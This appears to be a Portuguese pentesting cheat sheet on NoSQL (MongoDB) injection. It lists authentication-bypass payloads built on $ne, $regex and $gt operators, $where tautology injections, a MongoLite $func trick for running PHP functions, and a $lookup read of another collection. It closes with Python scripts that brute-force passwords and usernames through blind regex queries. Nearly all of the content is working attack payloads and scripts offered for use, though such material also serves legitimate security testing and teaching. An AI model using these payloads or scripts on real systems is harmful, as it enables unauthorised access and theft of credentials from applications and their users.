## Exploit
|
|
|
|
Em PHP, você pode enviar um Array mudando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
|
|
|
|
Os exploits são baseados em adicionar um **Operador**:
|
|
```bash
|
|
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
|
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
|
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
|
|
username[$eq]=admin&password[$ne]=1 #<Equals>
|
|
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
|
|
username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
|
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
|
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
|
```
|
|
### Bypass de autenticação básica
|
|
|
|
**Usando not equal ($ne) ou greater ($gt)**
|
|
```bash
|
|
#in URL
|
|
username[$ne]=toto&password[$ne]=toto
|
|
username[$regex]=.*&password[$regex]=.*
|
|
username[$exists]=true&password[$exists]=true
|
|
|
|
#in JSON
|
|
{"username": {"$ne": null}, "password": {"$ne": null} }
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
|
```
|
|
### **SQL - Mongo**
|
|
```javascript
|
|
query = { $where: `this.username == '${username}'` }
|
|
```
|
|
Um atacante pode explorar isso inserindo strings como `admin' || 'a'=='a`, fazendo com que a consulta retorne todos os documentos ao satisfazer a condição com uma tautologia (`'a'=='a'`). Isso é análogo a ataques de injeção SQL onde entradas como `' or 1=1-- -` são usadas para manipular consultas SQL. No MongoDB, injeções semelhantes podem ser feitas usando entradas como `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`.
|
|
```
|
|
Normal sql: ' or 1=1-- -
|
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
|
```
|
|
### Extrair informações de **comprimento**
|
|
```bash
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
# True if the length equals 1,3...
|
|
```
|
|
### Extrair **informações** de **dados**
|
|
```
|
|
in URL (if length == 3)
|
|
username[$ne]=toto&password[$regex]=a.{2}
|
|
username[$ne]=toto&password[$regex]=b.{2}
|
|
...
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
|
|
in JSON
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
### **SQL - Mongo**
|
|
```
|
|
/?search=admin' && this.password%00 --> Check if the field password exists
|
|
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
|
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
|
```
|
|
### Execução Arbitrária de Funções PHP
|
|
|
|
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
|
```python
|
|
"user":{"$func": "var_dump"}
|
|
```
|
|
.png>)
|
|
|
|
### Obter informações de uma coleção diferente
|
|
|
|
É possível usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo os **resultados de todas as entradas** com uma senha que corresponde a um curinga.
|
|
|
|
**NOTA:** `$lookup` e outras funções de agregação estão disponíveis apenas se a função `aggregate()` foi usada para realizar a busca em vez das funções mais comuns `find()` ou `findOne()`.
|
|
```json
|
|
[
|
|
{
|
|
"$lookup":{
|
|
"from": "users",
|
|
"as":"resultado","pipeline": [
|
|
{
|
|
"$match":{
|
|
"password":{
|
|
"$regex":"^.*"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
```

## Script NoSQL Cego
|
|
```python
|
|
import requests, string
|
|
|
|
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(21):
|
|
print("[i] Looking for char number "+str(i+1))
|
|
for char in alphabet:
|
|
r = requests.get("http://chall.com?param=^"+flag+char)
|
|
if ("<TRUE>" in r.text):
|
|
flag += char
|
|
print("[+] Flag: "+flag)
|
|
break
|
|
```
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = {'ids': payload}, verify = False)
|
|
if 'OK' in r.text:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
### Brute-force login usernames and passwords from POST login
|
|
|
|
Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
|
|
```python
|
|
import requests
|
|
import string
|
|
|
|
url = "http://example.com"
|
|
headers = {"Host": "exmaple.com"}
|
|
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
|
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
|
def get_password(username):
|
|
print("Extracting password of "+username)
|
|
params = {"username":username, "password[$regex]":"", "login": "login"}
|
|
password = "^"
|
|
while True:
|
|
for c in possible_chars:
|
|
params["password[$regex]"] = password + c + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
password += c
|
|
break
|
|
if c == possible_chars[-1]:
|
|
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
|
|
return password[1:].replace("\\", "")
|
|
|
|
def get_usernames(prefix):
|
|
usernames = []
|
|
params = {"username[$regex]":"", "password[$regex]":".*"}
|
|
for c in possible_chars:
|
|
username = "^" + prefix + c
|
|
params["username[$regex]"] = username + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
print(username)
|
|
for user in get_usernames(prefix + c):
|
|
usernames.append(user)
|
|
return usernames
|
|
|
|
for u in get_usernames(""):
|
|
get_password(u)
|
|
```
